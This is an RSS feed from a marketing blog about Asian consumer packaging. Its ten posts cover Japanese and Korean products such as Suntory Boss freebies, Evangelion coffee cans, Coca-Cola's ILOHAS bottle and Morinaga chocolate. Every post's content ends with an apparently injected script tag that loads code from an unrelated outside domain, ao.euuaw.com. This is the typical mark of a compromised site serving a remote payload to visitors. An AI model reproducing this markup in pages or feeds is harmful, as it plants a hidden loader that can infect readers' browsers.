<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Five by Fifty &#187; packaging</title>
	<atom:link href="http://fivebyfifty.com/category/packaging/feed/" rel="self" type="application/rss+xml" />
	<link>http://fivebyfifty.com</link>
	<description>Asian Consumer Intellegence</description>
	<lastBuildDate>Tue, 16 Feb 2010 00:05:15 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Freebies Go Premium</title>
		<link>http://fivebyfifty.com/2009/05/24/freebies-go-premium/</link>
		<comments>http://fivebyfifty.com/2009/05/24/freebies-go-premium/#comments</comments>
		<pubDate>Sun, 24 May 2009 13:47:14 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[FMCG]]></category>
		<category><![CDATA[Lifestyle Spending]]></category>
		<category><![CDATA[beverages]]></category>
		<category><![CDATA[branding]]></category>
		<category><![CDATA[collaborations]]></category>
		<category><![CDATA[design]]></category>
		<category><![CDATA[gimmicks]]></category>
		<category><![CDATA[incentives]]></category>
		<category><![CDATA[japan]]></category>
		<category><![CDATA[packaging]]></category>

		<guid isPermaLink="false">http://www.fivebyfifty.com/?p=3364</guid>
		<description><![CDATA[A collaboration between a Suntory coffee brand and product designer Amadana takes Japanese gifts-with-purchase up a class.]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-medium wp-image-3443" src="http://fivebyfifty.com/files/2009/05/boss-silky-black-210x300.jpg" alt="BOSS Silky Black" width="147" height="210" />Model <em>anime</em> characters, tea samples, hand towels and snacks have all been given away as gifts with purchase of beverages over the past 12 months, but one current freebie collaboration looks particularly savvy, having generated significant online chatter.</p>
<p>Suntory has been giving away a series of eight mini-goods by product designer Amadana with its <a href="http://www.suntory.co.jp/softdrink/boss/top.html" target="_blank">Boss Silky Black</a> coffee. Targeting design-smart businessmen in their 30s, the all-black and metal products include a USB memory drive cover, a tape measure, a “multi case” the size of an iPhone, a pen holder, a money clip, a bookmark, a &#8220;cord reel&#8221; for keeping headphone cords neatly in a suit pocket and a memo stand.</p>
<p>Amadana is a brand of luxury household appliances that have a modernist design aesthetic that has grown from niche to mainstream in a short time. Its <a href="http://www.amadana.com/" target="_blank">product lineup</a> includes everything from coffee makers and music systems to paper shredders and mobile phone handsets.</p>
<p><img class="aligncenter size-medium wp-image-3365" src="http://fivebyfifty.com/files/2009/05/amadanalineup-300x225.jpg" alt="Amadana Lineup" width="300" height="225" /></p>
<p>A quick look online shows the collaboration has spawned more than 70,000 blog posts so far this month, with comments suggesting that consumers actively bought BOSS Silky Black in order to collect the Amadana products.</p>
<p><strong>To find out how Five by Fifty helps its clients innovate in the beverage sector, <a href="http://www.fivebyfifty.com/contact">contact us</a>. </strong><script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://fivebyfifty.com/2009/05/24/freebies-go-premium/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Otaku Coffee</title>
		<link>http://fivebyfifty.com/2009/05/22/otaku-coffee/</link>
		<comments>http://fivebyfifty.com/2009/05/22/otaku-coffee/#comments</comments>
		<pubDate>Fri, 22 May 2009 08:54:02 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[FMCG]]></category>
		<category><![CDATA[beverages]]></category>
		<category><![CDATA[collaborations]]></category>
		<category><![CDATA[japan]]></category>
		<category><![CDATA[packaging]]></category>
		<category><![CDATA[youth]]></category>

		<guid isPermaLink="false">http://fivebyfifty.com/?p=3465</guid>
		<description><![CDATA[UCC releases its third collaboration in 10 years with one of Japan's most popular manga series. 
]]></description>
			<content:encoded><![CDATA[<p align="justify"><img class="aligncenter size-full wp-image-3466" src="http://fivebyfifty.com/files/2009/05/ucc.jpg" alt="Canned Coffee Anime Tie Up" width="500" height="175" /></p>
<p>UCC has introduced a limited edition Milk&amp;Coffee collaboration with the latest <em>Evangelion</em> anime film, including six cans featuring six characters from the film.</p>
<p><em>Evangelion</em> is one of the most popular manga series in Japan, with fans in a wide range of ages. UCC released tie-ups based on <em>Evangelion</em> manga back in 1997 and again in 2007, which were instant hits with fans in their 20s. This is the first collaboration with an <em>Evangelion</em> film.</p>
<p>This time, a new dimension has been added, with a sticker on each can containing a code which fans can enter into a campaign website for the chance to win a rare figurine of a figure from the series.</p>
<p><strong>To find out how Five by Fifty helps its clients innovate in the beverage sector, <a href="http://www.fivebyfifty.com/contact">contact us</a>. </strong><script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://fivebyfifty.com/2009/05/22/otaku-coffee/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Low-Guilt Bottled Water</title>
		<link>http://fivebyfifty.com/2009/05/22/low-guilt-bottled-water/</link>
		<comments>http://fivebyfifty.com/2009/05/22/low-guilt-bottled-water/#comments</comments>
		<pubDate>Fri, 22 May 2009 07:32:21 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Consumer Shifts]]></category>
		<category><![CDATA[FMCG]]></category>
		<category><![CDATA[beverages]]></category>
		<category><![CDATA[design]]></category>
		<category><![CDATA[environmentalism]]></category>
		<category><![CDATA[japan]]></category>
		<category><![CDATA[packaging]]></category>

		<guid isPermaLink="false">http://fivebyfifty.com/?p=3411</guid>
		<description><![CDATA[The new ILOHAS bottled water from Coca-Cola Japan cuts down on packaging and creates a new disposal ritual to make consumers feel good about going "green". ]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-full wp-image-3462" src="http://fivebyfifty.com/files/2009/05/i-lohas.jpg" alt="Coca Cola's Eco Bottle" width="175" height="280" />Coca-Cola Japan has responded to rising environmental awareness with ILOHAS, a mineral water packaged in a newly developed &#8220;eco&#8221;  PET bottle that reduces waste. And the company is betting consumers are even willing to pay a premium to go green in a clear example of what we call &#8220;Part-Time Greens&#8221;.</p>
<p>The new bottle holds 520ml of water, but weights just 12 grams when empty, or 40% less than other Coca-Cola PET bottles. The bottle, cap and even label weigh less. Over a year, that would reduce the amount of carbon dioxide produced in the manufacturing process by 3,000 tons, equivalent to the offset of a 950 hectare forest, according to the company.</p>
<p>For Japanese consumers, used to measuring their environmental impact in terms of the volume of waste they produce (always carefully separated into burnables, non-burnables and recyclables), the bottle creates a new disposal ritual to reinforce the &#8220;green&#8221; brand proposition (see video below). It can easily be twisted by hand to make it thin and easy to throw away, a &#8220;1-2-3&#8243;  action Coca-Cola Japan encourages consumer to follow in its marketing campaign:  1. buy (!), 2. drink, 3. remove-label-twist-and-discard.</p>
<p>Of course, the ritual still ends with discarding (a non-biodegradable object). However, the manufacturer has undeniable tapped into consumers willingness to take small steps toward &#8220;greening&#8221; their daily lives, but without making major sacrifices (Part Time Greens).</p>
<p>Not only that, Coca-Cola Japan is betting consumers are willing to pay a premium to be (or be seen as) green: ILOHAS retails in vending machines for 130 yen for a 520ml bottle, an 18% premium to other brands like Crystal Geyser. (As a launch campaign, the water retailed in convenience stores for 105 yen.)</p>
<p><strong>To find out how Five by Fifty helps its clients innovate in the beverage sector, <a href="http://www.fivebyfifty.com/contact">contact us</a>. </strong></p>
<div class="aligncenter">

<object width="560" height="340">
    <param name="movie" value="http://www.youtube.com/v/Bppc7dA2xHM&hl=en&fs=1"></param>
    <param name="allowFullScreen" value="true"></param>
    <param name="allowscriptaccess" value="always"></param>
    <embed src="http://www.youtube.com/v/Bppc7dA2xHM&hl=en&fs=1" 
        type="application/x-shockwave-flash" 
        allowscriptaccess="always" 
        allowfullscreen="true" 
        width="560" 
        height="340">
    </embed>
</object>

</div>
<p><script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://fivebyfifty.com/2009/05/22/low-guilt-bottled-water/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Reverse Chocolate</title>
		<link>http://fivebyfifty.com/2009/01/22/dars-reverse-chocolate-campaign/</link>
		<comments>http://fivebyfifty.com/2009/01/22/dars-reverse-chocolate-campaign/#comments</comments>
		<pubDate>Fri, 23 Jan 2009 05:29:10 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[FMCG]]></category>
		<category><![CDATA[food]]></category>
		<category><![CDATA[gimmicks]]></category>
		<category><![CDATA[japan]]></category>
		<category><![CDATA[packaging]]></category>

		<guid isPermaLink="false">http://www.fivebyfifty.com/?p=1637</guid>
		<description><![CDATA[Snack maker Morinaga has released a its Dars chocolate bar in a new package intentionally printed backwards, as part of a clever Valentine's Day promotional campaign.]]></description>
			<content:encoded><![CDATA[<div id="attachment_1638" class="wp-caption aligncenter" style="width: 510px"><img class="size-full wp-image-1638" src="http://fivebyfifty.com/files/2009/01/reverse-chocolate-1.jpg" alt="Morinaga has released Dars chocolate in a package intenionally printed backwards." width="500" height="309" /><p class="wp-caption-text">Morinaga has released Dars chocolate in a package intenionally printed backwards.</p></div>
<p>Snack maker Morinaga has released a its Dars chocolate bar in a new package intentionally printed backwards, as part of a clever Valentine&#8217;s Day promotional campaign.</p>
<p>Valentine&#8217;s Day is celebrated in Japan by the giving of chocolate as in many other countries. However, it is the custom for women to present chocolate to men. Women working in companies are expected to give small, inexpensive gifts of chocolate to male coworkers at the office, a custom called &#8220;giri choco&#8221; (obligatory chocolate). With February 14th falling on a Saturday this year, chocolate makers are fretting over the lower demand for &#8220;giri choco&#8221;.</p>
<p>To make matters worse, it seems that Japanese women are feed up with the whole tradition. Earlier this month, chocolate maker Morinaga  published the results of a survey revealing that 90.8% of Japanese women would like receive chocolate from men on Valentine&#8217;s Day. 69.7% said that they have bought chocolates for themselves for Valentine&#8217;s Day, and 89.6% admitted that they have eaten chocolate that was given to their boyfriends or male family members.</p>
<div id="attachment_1639" class="wp-caption alignleft" style="width: 260px"><img class="size-full wp-image-1639" src="http://fivebyfifty.com/files/2009/01/reverse-chocolate-2.jpg" alt="Popular actors Junji Takada and Yusuke Yamamoto are part of the campaign." width="250" height="187" /><p class="wp-caption-text">Popular actors Junji Takada and Yusuke Yamamoto are part of the campaign.</p></div>
<p>Japanese men seem ready to relent, with 85.9% saying the way Valentine&#8217;s Day is celebrated outside Japan is a good custom. 91.3% of men said they would give chocolate to women, but only if asked. To give Japanese men a little encouragement by promoting the idea of &#8220;reverse chocolate&#8221; (chocolate given by men to women), Morinaga has released a limited edition of its popular Dars chocolate bar with the packaging intentionally printed in reverse. Popular actors Junji Takada and Yusuke Yamamoto appear in television commercials promoting &#8220;reverse chocolate.&#8221;<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://fivebyfifty.com/2009/01/22/dars-reverse-chocolate-campaign/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Kirin Oolong Tea</title>
		<link>http://fivebyfifty.com/2009/01/21/kirin-oolong-tea/</link>
		<comments>http://fivebyfifty.com/2009/01/21/kirin-oolong-tea/#comments</comments>
		<pubDate>Wed, 21 Jan 2009 14:00:50 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[FMCG]]></category>
		<category><![CDATA[beverages]]></category>
		<category><![CDATA[japan]]></category>
		<category><![CDATA[packaging]]></category>

		<guid isPermaLink="false">http://www.fivebyfifty.com/?p=1593</guid>
		<description><![CDATA[Kirin has released a new Oolong tea, made from 100% tea grown in China's Fujian Province. The strong tea is packaged with a minimal black and white label.]]></description>
			<content:encoded><![CDATA[<p><img src="http://fivebyfifty.com/files/2009/01/kirin-oolong-tea.jpg" alt="" width="250" height="400" class="alignleft size-full wp-image-1594" /></p>
<p>Kirin has released a new Oolong tea, made from 100% tea grown in China&#8217;s Fujian Province. The strong tea is packaged with a minimal black and white label.</p>
<p>Learn more:<br />
<a href="http://www.fivebyfifty.com/?s=Kirin&amp;key=Company" target="_self">Other Kirin products</a><br />
<a href="http://www.kirin.co.jp/" target="_blank">Kirin official homepage</a> (Japanese)<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://fivebyfifty.com/2009/01/21/kirin-oolong-tea/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Don&#039;t Waste That!</title>
		<link>http://fivebyfifty.com/2009/01/20/dont-waste-that/</link>
		<comments>http://fivebyfifty.com/2009/01/20/dont-waste-that/#comments</comments>
		<pubDate>Wed, 21 Jan 2009 04:21:25 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Beauty & Wellness]]></category>
		<category><![CDATA[Consumer Shifts]]></category>
		<category><![CDATA[FMCG]]></category>
		<category><![CDATA[Lifestyle Spending]]></category>
		<category><![CDATA[environmentalism]]></category>
		<category><![CDATA[japan]]></category>
		<category><![CDATA[packaging]]></category>
		<category><![CDATA[recession]]></category>

		<guid isPermaLink="false">http://www.fivebyfifty.com/?p=1632</guid>
		<description><![CDATA[Japanese retailers and consumers have been criticized for creating unnecessary excess waste, with many products individually wrapped in several layers of plastic. However, attitudes are changing, as evidenced by the Mottainai project operated by Tokyo-based Tatsumi Co. "Mottainai"  means "you shouldn't waste that" in Japanese.]]></description>
			<content:encoded><![CDATA[<div id="attachment_1633" class="wp-caption alignleft" style="width: 260px"><img class="size-full wp-image-1633" src="http://fivebyfifty.com/files/2009/01/mottainai.jpg" alt="The Mottainai shop sells garbage bags with endangered animal designs." width="250" height="250" /><p class="wp-caption-text">The Mottainai shop sells garbage bags with endagered animal designs.</p></div>
<p>Japanese retailers and consumers have been criticized for creating unnecessary excess waste, with many products individually wrapped in several layers of plastic. However, attitudes are changing, as evidenced by the Mottainai project operated by Tokyo-based Tatsumi Co. &#8220;Mottainai&#8221;  means &#8220;you shouldn&#8217;t waste that&#8221; in Japanese.</p>
<p>The project supplies retailers who would like to provide consumers with reusable shopping bags. Mottainai&#8217;s online shop, which sells directly to consumers, features products meant to reduce waste, such as reusable lunch boxes, chopsticks, and thermoses, as well as items meant to draw attention to the environmental impact of waste, such as garbage bags featuring designs of endangered animals. The project also organizes events to educate the public in environmental problems.<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://fivebyfifty.com/2009/01/20/dont-waste-that/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Morinaga Retro Chocolate</title>
		<link>http://fivebyfifty.com/2009/01/13/morinaga-retro-chocolate/</link>
		<comments>http://fivebyfifty.com/2009/01/13/morinaga-retro-chocolate/#comments</comments>
		<pubDate>Wed, 14 Jan 2009 05:06:50 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[FMCG]]></category>
		<category><![CDATA[japan]]></category>
		<category><![CDATA[packaging]]></category>
		<category><![CDATA[snacks]]></category>

		<guid isPermaLink="false">http://www.fivebyfifty.com/?p=1553</guid>
		<description><![CDATA[Morinaga has released two new chocolate bars with retro packaging.]]></description>
			<content:encoded><![CDATA[<p><img src="http://fivebyfifty.com/files/2009/01/morinaga-retro.jpg" alt="" width="500" height="375" class="aligncenter size-full wp-image-1554" /><br />
Morinaga has released two new chocolate bars with retro packaging. The milk chocolate and bitter chocolate bars feature illustrations from old Morinaga ads. Morinaga, founded in 1918, was the first company in Japan to refine chocolate from coco beans.</p>
<p>Learn more:<br />
<a href="http://www.fivebyfifty.com/?s=Morinaga&amp;key=Company" target="_self">Other Morinaga Products</a><br />
<a href="http://www.morinaga.co.jp/index.html" target="_blank">Morinaga Official Site</a> (Japanese<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://fivebyfifty.com/2009/01/13/morinaga-retro-chocolate/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Premium Mineral Water in Korea</title>
		<link>http://fivebyfifty.com/2008/11/17/mineral-water-in-korea/</link>
		<comments>http://fivebyfifty.com/2008/11/17/mineral-water-in-korea/#comments</comments>
		<pubDate>Tue, 18 Nov 2008 01:41:01 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[FMCG]]></category>
		<category><![CDATA[beverages]]></category>
		<category><![CDATA[packaging]]></category>
		<category><![CDATA[premiumization]]></category>
		<category><![CDATA[south korea]]></category>

		<guid isPermaLink="false">http://www.fivebyfifty.com/?p=864</guid>
		<description><![CDATA[In September, Jinro released Aqua Blue, a new brand in its Seoksu mineral water line. The new products come during a time when mineral water sales are booming in Korea as the sale of bottled tea drinks slip. The move from bottle tea to mineral water might be linked to a recent consumer backlash against genetically modified ingredients, which appear in some tea drinks.]]></description>
			<content:encoded><![CDATA[<div id="attachment_865" class="wp-caption alignleft" style="width: 260px"><img class="size-full wp-image-865" src="http://fivebyfifty.com/files/2008/11/aqua_blue.jpg" alt="The latest in a series of mineral water products popular in Korea." width="250" height="454" /><p class="wp-caption-text">The latest in a series of mineral water products popular in Korea.</p></div>
<p>In September, Jinro released Aqua Blue, positioned as a premium grade in its Seoksu mineral water line. The new products come during a time when mineral water sales are booming in Korea as the sale of bottled tea drinks slip.<br />
Aqua Blue is made from desalinated deep sea mineral water extracted from 1,032 meters below the surface or Kangwon Province&#8217;s Yang Yang Bay. The water boasts 50 varieties of minerals found in deep sea water, and a pH level of 7.3-8, which is claimed to add in it being easily absorbed into the body. The blue gradation on the bottle is designed to represent the ocean getting darker at lower deepths.</p>
<p>This new premium line comes at a time when mineral water is booming in Korea. Bottled tea drinks, which peaked in 2004 during a wellness trend, with some hit products enjoying 40% sales growth per year, have stalled, and this market is predicted to begin shrinking by 10% per year.</p>
<p>Meanwhile, the mineral water market has skyrocketed from 3.5 billion won ($2.5 million) in 2006, to a projected 4.5 billion won ($3.2 million) in 2008. Many of the popular brands such as Blue Marine, Momejouenmul, and Ulleung Minewater are, like Aqua Blue, produced from desalinated deep sea water. Blue Marine, a premium water line by Lotte Chilsung, is enjoying sales success despite a price of 1,400 won($1) per .5 liter bottle, about 40% more than the market average. Ulleung Minewater sells for 2,000 won for a smaller, 330 milliliter bottle, which was recently redesigned to give it a more premium look.</p>
<p>The move from bottle tea to mineral water might be linked to a recent consumer backlash against genetically modified ingredients, which appear in some tea drinks. <em>Mijin An</em></p>
<div id="attachment_874" class="wp-caption aligncenter" style="width: 510px"><img class="size-full wp-image-874" src="http://fivebyfifty.com/files/2008/11/minewater.jpg" alt="Ulleung Minewater is one the more expensive products on the market, as has new package design with a premium look." width="500" height="420" /><p class="wp-caption-text">Ulleung Minewater is one the more expensive products on the market, as has new package design with a premium look.</p></div>
<p><em><br />
</em><script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://fivebyfifty.com/2008/11/17/mineral-water-in-korea/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Dars Chocolate Temperature Indicator</title>
		<link>http://fivebyfifty.com/2008/09/23/dars-chocolate-temperature-indicator/</link>
		<comments>http://fivebyfifty.com/2008/09/23/dars-chocolate-temperature-indicator/#comments</comments>
		<pubDate>Tue, 23 Sep 2008 07:44:18 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[FMCG]]></category>
		<category><![CDATA[Innovation]]></category>
		<category><![CDATA[gimmicks]]></category>
		<category><![CDATA[japan]]></category>
		<category><![CDATA[packaging]]></category>
		<category><![CDATA[snacks]]></category>

		<guid isPermaLink="false">http://www.tykesguide.com/5by50new/?p=45</guid>
		<description><![CDATA[Morigana has released a new package for its chocolate snack Dars that includes a thermometer function...]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-full wp-image-46" src="http://fivebyfifty.com/files/2008/09/381_large.jpg" alt="" width="363" height="287" />Morigana has released a new package for its chocolate snack <a href="http://www.morinaga.co.jp/dars/">Dars</a> that includes a thermometer function &#8211; an indicator on the package shows when the chocolate is at the right temperature to enjoy, which the company has decided is 22 degrees Celsius.<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://fivebyfifty.com/2008/09/23/dars-chocolate-temperature-indicator/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Third Language Marketing</title>
		<link>http://fivebyfifty.com/2008/09/18/third-language-marketing/</link>
		<comments>http://fivebyfifty.com/2008/09/18/third-language-marketing/#comments</comments>
		<pubDate>Thu, 18 Sep 2008 18:00:31 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[FMCG]]></category>
		<category><![CDATA[Lifestyle Spending]]></category>
		<category><![CDATA[branding]]></category>
		<category><![CDATA[packaging]]></category>
		<category><![CDATA[south korea]]></category>

		<guid isPermaLink="false">http://www.tykesguide.com/5by50new/?p=70</guid>
		<description><![CDATA[Signs and packages with smatterings of English have long been ubiquitous in Korea. It seems young Koreans no longer find the attraction of English advertising copy, and marketers have been turning to more exotic languages such as French and Italian.]]></description>
			<content:encoded><![CDATA[<div id="attachment_72" class="wp-caption aligncenter" style="width: 510px"><img class="size-full wp-image-72" src="http://fivebyfifty.com/files/2008/09/korean3rdnew.jpg" alt="A sign reading Sale in Italian in a Seoul shop." width="500" height="371" /><p class="wp-caption-text">A sign reading </p></div>
<p>Signs and packages with smatterings of English have long been ubiquitous in Korea. It seems young Koreans no longer find the attraction of English advertising copy, and marketers have been turning to more exotic languages such as French and Italian.</p>
<div id="attachment_78" class="wp-caption alignright" style="width: 260px"><img class="size-full wp-image-78" src="http://fivebyfifty.com/files/2008/09/lafluer.jpg" alt="Samsung's La Fleur MP3 Player" width="250" height="327" /><p class="wp-caption-text">Samsung</p></div>
<p>Samsung has released a new line of MP3 player named &#8220;La Fleur,&#8221; and decorated with floral patterns for a romantic French feel. Restaurants have been adding splashes of Italian, French, and even Latin to their menus, and shop signs in Japanese have been popping up around Seoul.</p>
<p>In shopping streets in the trendiest sections of Seoul, &#8220;Sale&#8221; signs are nowhere to be found, but there are plenty of &#8220;Saldi&#8221; signs can be seen in shop windows. &#8220;As we carry Italian fashion items, a sign in Italian is a natural choice,&#8221; says a fashion shop manager. &#8220;A sign in Italian helps convey a chic and high-end image to our female customers.&#8221;</p>
<p>Third language marketing strategies appeal to consumer&#8217;s desire for products and shopping experiences that are unique, and have appeared only recently as the English abilities of the average Korean have improved in a competitive job market.</p>
<p><em>Jeongmae Choi </em><script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://fivebyfifty.com/2008/09/18/third-language-marketing/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
